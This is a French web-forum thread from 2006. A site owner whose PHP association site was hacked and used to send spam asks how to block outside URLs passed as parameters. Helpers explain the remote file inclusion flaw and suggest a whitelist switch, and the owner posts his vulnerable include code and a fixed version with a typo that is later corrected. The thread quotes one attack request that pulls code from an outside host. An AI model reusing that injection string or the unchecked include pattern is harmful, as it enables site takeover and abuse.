Empecher des variable exterieur a mon site

Résolu
cs_h2n Messages postés 4 Date d'inscription vendredi 3 novembre 2006 Statut Membre Dernière intervention 5 novembre 2006 - 3 nov. 2006 à 20:20
cs_h2n Messages postés 4 Date d'inscription vendredi 3 novembre 2006 Statut Membre Dernière intervention 5 novembre 2006 - 5 nov. 2006 à 20:52
Bonjour,

Je crois que ma demande est simpliste et va faire sourire plus d'un!

J'ai 3 sites PHP pour des asssos heberges par OVH.
Ovh m'a envoyé un message pour me dire que du spam etait envoye du serveur en question de mon site et un des trois sites avait ete hacke.
En regardant les logs sur Google analytics j'ai remarque des URL étranges n'appartenant pas aux sites étaient appelles.
Par example : /index.php?page=http://rst.void.ru/download/r
Comment est ce que je peux interdire tout URL comme variable dans mon code?

Merci!

Henri

6 réponses

audayls Messages postés 373 Date d'inscription samedi 9 juillet 2005 Statut Membre Dernière intervention 11 août 2008
3 nov. 2006 à 23:29
Salut,
Tu as du certainement laissé la faille include. Il suffit de remplacer "include($_GET['page']);" par un switch du genre "
switch($_GET['page']) {
case 'page1': include('page1.php'); break;
case 'page2.php': include('page2.php'); break;
// etc...
defaut: include('accueil.php'); break;// Ici la page par defaut si la variable ne correspond à rien de voulu
}
"
Au pire tu peux mettre (en plus de la modification au dessus) un Anti-Leech sur tes sites, par empecher l'accès au variables extérieurs.

For every choice, a consequence (Fable)
audayls Messages postés 373 Date d'inscription samedi 9 juillet 2005 Statut Membre Dernière intervention 11 août 2008
5 nov. 2006 à 12:31
Je me suis trompé ce n'est pas "defaut:" mais "default:" ...

For every choice, a consequence (Fable)
cs_h2n Messages postés 4 Date d'inscription vendredi 3 novembre 2006 Statut Membre Dernière intervention 5 novembre 2006
3 nov. 2006 à 20:21
horrible orthographe dans le titre de mon topic... toutes mes excuses
FhX Messages postés 2350 Date d'inscription mercredi 13 octobre 2004 Statut Membre Dernière intervention 18 avril 2015 3
4 nov. 2006 à 17:23
"Soit tu passe des get aux post."

Tu fais un script PHP en utilisant des en-têtes POST et ca passe comme un moulin :)
C'est strictement identique.

Le mieux étant de controler ce qui arrive en $_GET ou en $_POST et de n'autoriser que ce qui te sert vraiment. Le reste étant à exclure d'office.

Vous n’avez pas trouvé la réponse que vous recherchez ?

Posez votre question
cs_h2n Messages postés 4 Date d'inscription vendredi 3 novembre 2006 Statut Membre Dernière intervention 5 novembre 2006
5 nov. 2006 à 01:12
Merci beaucoup [auteurdetail.aspx?ID=547458 audayls], [auteurdetail.aspx?ID=370989 sim51], et [auteurdetail.aspx?ID=358866 FhX],

J'ai remplacer dans ma page le code
                      <?php
                            if (!$_GET["page"])
                            {
                  include ("event.inc");
              }
              else
              {
                  include ($_GET["page"].".inc");
              }
                             ?>
Par
                      <?php
switch($_GET["page"]) {
case "about": include("about.inc"); break;
case "co-chair": include("co-chair.inc"); break;
case "contact": include("coontact.inc"); break;
case "event": include("event.inc"); break;
case "links": include("links.inc"); break;
case "membership": include("membership.inc"); break;
case "past": include("past.inc"); break;
case "sendemail": include("sendemail.inc"); break;
case "upcoming": include("upcoming.inc"); break;
// etc...
defaut : include("event.inc"); break;
// Ici la page par defaut si la variable ne correspond à rien de voulu
}
                             ?>

Je dois avoir fait une erreur car lorsque j'essaie d'accéder a la page j'ai le message d'erreur suivant:

Parse error: syntax error, unexpected ':' in /home.2/gsbwinec/www/index.php on line 47

MERCI!
Henri le boulet du php
cs_h2n Messages postés 4 Date d'inscription vendredi 3 novembre 2006 Statut Membre Dernière intervention 5 novembre 2006
5 nov. 2006 à 20:52
Merci bcp audayls!
T'es une super star!
Ca fonctionne a merveille.

Henri
Rejoignez-nous